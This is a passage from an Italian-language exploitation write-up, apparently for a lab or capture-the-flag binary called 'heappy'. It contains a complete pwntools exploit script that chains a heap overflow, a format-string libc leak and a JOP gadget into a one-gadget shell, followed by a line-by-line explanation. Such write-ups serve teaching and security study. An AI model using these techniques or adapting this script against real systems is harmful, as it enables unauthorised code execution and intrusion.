pop rax ; xor al, 0xed ; jmp qword ptr [rdx]
```

E poi saltando ai primi 8 byte (qword) presenti nel buffer puntato da rdx si esegue il one-gadget, che apre la shell, dato che abbiamo rispettato i suoi vincoli.

0x4647c execve("/bin/sh", rsp+0x30, environ)

constraints:

[rsp+0x30] == NULL

7. Automatizzazione dell'attacco

Terminata la trattazione teorica si è quindi proceduto a creare lo script in Python che ci concedesse la possibilità di automatizzare l'attacco, il file è "exploit.py".

Nota: il terminale remoto filtra alcuni caratteri (essendo pseudo-TTY), modificando il payload, per cui bisogna fare wrapping di ciascun carattere filtrato con un carattere di escape, di modo da passare al processo il payload come lo avevamo sviluppato; il carattere di escape rispetto al TTY del terminale remoto è "0x16" in esadecimale.

Di seguito vediamo lo script per intero.

```
1  from pwn import *
2
3
4  def main():
5      local = False
6      filename = "./heappy_patchelf"
7      elf = ELF(filename)
8      libc = ELF("./libc-2.19.so")
9      context.binary = elf
10     if local:
11         r = process([filename])
12     else:
13         r = remote("localhost", 5000)
14     padding = 144
15     target = elf.symbols['printf'] # for leakage
16     payload = b'A' * padding + p64(target)
17     payload = payload[:-1] # the last null byte is added by scanf
18     # choose language
19     r.sendline(b"1")
20     # choose name
21     r.sendline(b"pwn")
22     # change language -> allocate new chunk
23     r.sendline(b"2")
24     # ita language
25     r.sendline(b"2")
26     # change name
27     r.sendline(b"1")
28     # overflow in functions' chunk
29     r.sendline(payload)
30     # choose name again to perform format string attack
31     r.sendline(b"1")
32     # for libc leak
33     r.sendline(b'%13$p')
34     r.recvuntil(b'0x')
35     leak = r.recvline()
36     leak = bytes.fromhex(leak[:12].decode())[:-1]
37     leak = u64(leak + b'\x00' * 2)
38     libc.address = leak - 245 - libc.symbols["__libc_start_main"]
```

```

39 # 0x00000000000198aec : pop rax ; xor al, 0xed ; jmp qword ptr [rdx]
40 # to satisfy:
41 """
42 0x4647c execve("/bin/sh", rsp+0x30, environ)
43 constraints:
44 | [rsp+0x30] == NULL
45 """
46 move_stack_JOP_gadget = p64(libc.address + 0x00000000000198aec)
47 one_gadget_RCE_constrained = p64(libc.address + 0x4647c)
48 if not local:
49     # need to escape chars that are filtered by tty; the escape sequence will be stripped
50     tty_wrap = lambda x: b''.join([b'\x16' + i.to_bytes(1, 'little') for i in x])
51     move_stack_JOP_gadget = tty_wrap(move_stack_JOP_gadget)
52     one_gadget_RCE_constrained = tty_wrap(one_gadget_RCE_constrained)
53 payload = one_gadget_RCE_constrained + b"A" * (padding - 8) + move_stack_JOP_gadget
54 # bad chars for scanf
55 bad_chars = [b'\t', b'\n', b' ']
56 assert all([i not in payload for i in bad_chars])
57 r.sendline(b"1")
58 r.sendline(payload)
59 r.recv()
60 r.interactive()
61
62
63 if __name__ == "__main__":
64     main()

```

Dedichiamo le ultime righe alla descrizione in breve dello script:

- Dalla riga 14 alla 17, abbiamo la preparazione del primo payload di attacco, con il quale faremo heap overflow, sovrascrivendo un puntatore a funzione con l'indirizzo della funzione printf@plt;
- Dalla riga 18 alla 27, otteniamo l'heap layout desiderato per l'attacco, ovvero facciamo in modo che il chunk contenente i puntatori a funzione si trovi dopo il chunk del name, e questo lo si fa richiedendo il cambio lingua dopo la scelta del nome;
- In riga 29 inviamo il primo payload;
- Dalla riga 33 alla 35, eseguiamo il format string attack, attingendo dallo stack il tredicesimo parametro, che è l'indirizzo di ritorno del main, e attendiamo la risposta dal processo;
- Dalla riga 36 alla 38 ricaviamo l'indirizzo base di libc;
- Alle righe 46 e 47 ricaviamo gli indirizzi dei due gadget che andremo ad usare;
- Dalla riga 48 alla 52, nel caso in cui stiamo interagendo con il processo remoto e non con la sua copia in locale, eseguiamo il wrapping (l'escape) dei caratteri che compongono gli indirizzi dei gadget in modo che il TTY non alteri alcun carattere;
- Dalla riga 53 alla 60 componiamo il payload, inviamo il pacchetto facendo attenzione che non ci sia alcuno dei 3 caratteri che comprometterebbero il comportamento della scanf (in caso ci siano, rieseguire semplicemente lo script), attendiamo la risposta dal processo e interagiamo con la shell.